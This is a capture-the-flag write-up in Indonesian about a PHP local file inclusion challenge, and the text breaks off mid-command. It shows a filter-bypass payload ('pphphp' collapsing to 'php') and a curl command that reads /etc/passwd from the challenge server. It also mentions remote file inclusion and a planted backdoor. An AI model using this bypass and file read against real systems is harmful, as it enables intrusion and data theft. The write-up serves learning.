Solution for Inclusion Challenges

Solution for Inclusion Challenges

Seperti biasa di group Surabaya Hacker Link terdapat beragam challenges, tidak hanya dari staff admin saja yang membuat, namun ada member yang mempunyai challenges dan saya ikut membantu deploy soal challenges tersebut, tidak hanya men-deploy tapi tentunya ikut mencoba challenges tersebut :3

Tanpa basa-basi langsung akses challenges tersebut berada di challshl.com

Karena ikut campur saat deploy, jadi saya sedikit tahu dimana bug dari challenges tersebut berada, istilah kerennya white-box pentest untuk pentest dengan membaca source code dari website tersebut *cmiiw

Tidak lupa mengaktifkan dan membelokan trafik ke burp-suite proxy untuk melihat semua request yang dilakukan oleh web, saat mengklik salah satu tautan yang ada pada menu, burp-suite langsung melakukan intercept dan berikut adalah isi dari request tersebut

burp intercept
Terlihat request dengan parameter file dan value article/Event.html, hmm ada folder menarik nih
Saat folder article diakses ternyata hanya memberikan response seperti ini

index content
Kembali ke isi param tadi, setelah dijelajah lebih dalam ternyata cara kerja website ini hanya mengincludekan isi dari folder article yang direquest melalui xhr, karena si web meng"include"kan, kita coba menginclude file index.php yang isinya nothing here tadi

try index php
Gagal, but wait, error yang diberikan cukup menarik karena file index.php yang kita request berubah menjadi file index. (string php menghilang) yang notabenya tidak ada pada server.

Kemudian kita coba merubah filename yang kita request menjadi pphp dan hasilnya adalah
check php
String php hilang dan menyisakan kata p
Tertarik akan hal itu, langsung kita menebak dan membuat bagaimana kode pada server bekerja

<?php
$data = $_POST['file'];
$data = preg_replace("/php/", "", $data);
include $data;

Kurang lebih begitu cara filter dari website tersebut bekerja, lalu kita coba tiruannya dan menjalankan di local machine kita

<?php
$data = $_GET['file'];
$data = preg_replace("/php/", "", $data);
echo $data;

Request index.php

$ curl localhost/?file=index.php
index.

Hasil index.
Hasil ketika merequest index.php, string php menghilang

Request index.pphp

$ curl localhost/?file=index.pphp
index.p

Hasil index.p
Hasil ketika merequest index.pphp, string php menghilang, menyisakan string p
Karena kita perlu merequest dengan string php maka kita memerlukan dua huruf terakhir yaitu hp

Request index.pphphp

$ curl localhost/?file=index.pphphp
index.php

Hasil index.php Hasil ketika merequest index.pphphp, string php menghilang, menyisakan string php, karena string php akan dihapus maka akan menyisakan string p dan hp yang tergabung
p[php]hp

Kemudian kita coba di server challenges
success php
Isi dari index (Nothing here), terload, berarti kita bisa melakukan inclusion

$ curl https://challshl.com/index.php -X POST -d "file=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
---snip---
challshl:x:2447:2123::/home/challshl:/bin/bash

Namun setelah ini saya kurang tau bagaimana memanfaatkan inclusion ini untuk hal lebih jahat lainnya, setelah membaca google sebentar, ternyata inclusion bisa melakukan request dari luar, hal ini digunakan untuk pemanfaatan remote file inclusion, menjalankan evil script ke dalam server, tapi ketika dicoba tidak berhasil, php wrapper
decode base64

Namun ketika membaca source code website ini, terdapat sebuah malicious code yang dimana code ini akan menjalankan sebuah shell malicious code

dan langsung saja dengan memanfaatkan code tersebut untuk melakukan write solver.txt

curl https://challshl.com/index.php?_